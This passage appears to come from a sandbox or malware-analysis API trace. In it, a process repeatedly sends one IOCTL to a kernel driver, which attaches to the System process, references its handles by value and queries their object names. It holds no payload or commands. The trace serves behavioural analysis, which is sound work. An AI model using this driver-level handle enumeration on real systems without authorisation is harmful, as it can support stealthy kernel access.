(Object=0xfffffa800d6f9f20) returned 0x2 [0130.301] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.301] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.301] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.302] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.302] PsAcquireProcessExitSynchronization () returned 0x0 [0130.302] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.302] ObReferenceObjectByHandle (in: Handle=0xffffffff800009c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80022cf460, HandleInformation=0x0) returned 0x0 [0130.302] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.302] PsReleaseProcessExitSynchronization () returned 0x2 [0130.302] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.302] ObQueryNameString (in: Object=0xfffffa80022cf460, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.302] ObfDereferenceObject (Object=0xfffffa80022cf460) returned 0x2 [0130.302] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.302] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.302] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.302] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.302] PsAcquireProcessExitSynchronization () returned 0x0 [0130.302] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.302] ObReferenceObjectByHandle (in: Handle=0xffffffff800009cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003585790, HandleInformation=0x0) returned 0x0 [0130.302] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.302] PsReleaseProcessExitSynchronization () returned 0x2 [0130.302] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.302] ObQueryNameString (in: Object=0xfffffa8003585790, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.302] ObfDereferenceObject (Object=0xfffffa8003585790) returned 0x2 [0130.302] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.302] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.302] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.302] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.302] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.302] PsAcquireProcessExitSynchronization () returned 0x0 [0130.302] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.302] ObReferenceObjectByHandle (in: Handle=0xffffffff800009dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002005b20, HandleInformation=0x0) returned 0x0 [0130.302] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.302] PsReleaseProcessExitSynchronization () returned 0x2 [0130.302] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.302] ObQueryNameString (in: Object=0xfffffa8002005b20, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.303] ObfDereferenceObject (Object=0xfffffa8002005b20) returned 0x2 [0130.303] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.303] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.303] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.303] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.303] PsAcquireProcessExitSynchronization () returned 0x0 [0130.303] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.303] ObReferenceObjectByHandle (in: Handle=0xffffffff800009ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80024e93c0, HandleInformation=0x0) returned 0x0 [0130.303] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.303] PsReleaseProcessExitSynchronization () returned 0x2 [0130.303] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.303] ObQueryNameString (in: Object=0xfffffa80024e93c0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.303] ObfDereferenceObject (Object=0xfffffa80024e93c0) returned 0x2 [0130.303] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.303] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.303] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.303] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.303] PsAcquireProcessExitSynchronization () returned 0x0 [0130.303] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.303] ObReferenceObjectByHandle (in: Handle=0xffffffff800009f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037aedf0, HandleInformation=0x0) returned 0x0 [0130.303] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.303] PsReleaseProcessExitSynchronization () returned 0x2 [0130.303] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.303] ObQueryNameString (in: Object=0xfffffa80037aedf0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.303] ObfDereferenceObject (Object=0xfffffa80037aedf0) returned 0x2 [0130.303] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.303] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.303] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.303] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.303] PsAcquireProcessExitSynchronization () returned 0x0 [0130.303] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.304] ObReferenceObjectByHandle (in: Handle=0xffffffff800009fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800390a7d0, HandleInformation=0x0) returned 0x0 [0130.304] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.304] PsReleaseProcessExitSynchronization () returned 0x2 [0130.304] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.304] ObQueryNameString (in: Object=0xfffffa800390a7d0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.304] ObfDereferenceObject (Object=0xfffffa800390a7d0) returned 0x2 [0130.304] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.304] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.304] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.304] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.304] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.304] PsAcquireProcessExitSynchronization () returned 0x0 [0130.304] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.304] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a00, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f95050, HandleInformation=0x0) returned 0x0 [0130.304] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.304] PsReleaseProcessExitSynchronization () returned 0x2 [0130.304] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.304] ObQueryNameString (in: Object=0xfffffa8001f95050, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.304] ObfDereferenceObject (Object=0xfffffa8001f95050) returned 0x2 [0130.304] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.304] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.304] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.304] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.304] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.304] PsAcquireProcessExitSynchronization () returned 0x0 [0130.304] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.304] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a04, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037f0f20, HandleInformation=0x0) returned 0x0 [0130.304] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.304] PsReleaseProcessExitSynchronization () returned 0x2 [0130.304] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.305] ObQueryNameString (in: Object=0xfffffa80037f0f20, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.305] ObfDereferenceObject (Object=0xfffffa80037f0f20) returned 0x2 [0130.305] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.305] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.305] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.305] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.305] PsAcquireProcessExitSynchronization () returned 0x0 [0130.305] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.305] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003999380, HandleInformation=0x0) returned 0x0 [0130.305] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.305] PsReleaseProcessExitSynchronization () returned 0x2 [0130.305] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.305] ObQueryNameString (in: Object=0xfffffa8003999380, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.305] ObfDereferenceObject (Object=0xfffffa8003999380) returned 0x2 [0130.305] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.305] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.305] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.305] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.305] PsAcquireProcessExitSynchronization () returned 0x0 [0130.305] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.305] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a0c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001a3a9a0, HandleInformation=0x0) returned 0x0 [0130.305] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.305] PsReleaseProcessExitSynchronization () returned 0x2 [0130.305] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.305] ObQueryNameString (in: Object=0xfffffa8001a3a9a0, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.305] ObfDereferenceObject (Object=0xfffffa8001a3a9a0) returned 0x2 [0130.305] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.305] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.305] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.306] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.306] PsAcquireProcessExitSynchronization () returned 0x0 [0130.306] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.306] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037f19f0, HandleInformation=0x0) returned 0x0 [0130.306] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.306] PsReleaseProcessExitSynchronization () returned 0x2 [0130.306] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.306] ObQueryNameString (in: Object=0xfffffa80037f19f0, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.306] ObfDereferenceObject (Object=0xfffffa80037f19f0) returned 0x2 [0130.306] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.306] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.306] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.306] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.306] PsAcquireProcessExitSynchronization () returned 0x0 [0130.306] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.306] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800213fb80, HandleInformation=0x0) returned 0x0 [0130.306] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.306] PsReleaseProcessExitSynchronization () returned 0x2 [0130.306] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.306] ObQueryNameString (in: Object=0xfffffa800213fb80, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.306] ObfDereferenceObject (Object=0xfffffa800213fb80) returned 0x2 [0130.307] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.307] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.307] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.307] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.307] PsAcquireProcessExitSynchronization () returned 0x0 [0130.307] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.307] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037a73e0, HandleInformation=0x0) returned 0x0 [0130.307] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.307] PsReleaseProcessExitSynchronization () returned 0x2 [0130.307] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.307] ObQueryNameString (in: Object=0xfffffa80037a73e0, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.307] ObfDereferenceObject (Object=0xfffffa80037a73e0) returned 0x2 [0130.307] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.307] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.307] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.307] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.307] PsAcquireProcessExitSynchronization () returned 0x0 [0130.307] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.307] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003c3a350, HandleInformation=0x0) returned 0x0 [0130.307] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.307] PsReleaseProcessExitSynchronization () returned 0x2 [0130.307] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.307] ObQueryNameString (in: Object=0xfffffa8003c3a350, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.307] ObfDereferenceObject (Object=0xfffffa8003c3a350) returned 0x2 [0130.307] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.308] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.308] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.308] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.308] PsAcquireProcessExitSynchronization () returned 0x0 [0130.308] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.308] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80023b0c00, HandleInformation=0x0) returned 0x0 [0130.308] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.308] PsReleaseProcessExitSynchronization () returned 0x2 [0130.308] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.308] ObQueryNameString (in: Object=0xfffffa80023b0c00, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.308] ObfDereferenceObject (Object=0xfffffa80023b0c00) returned 0x2 [0130.308] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.308] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.308] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.308] 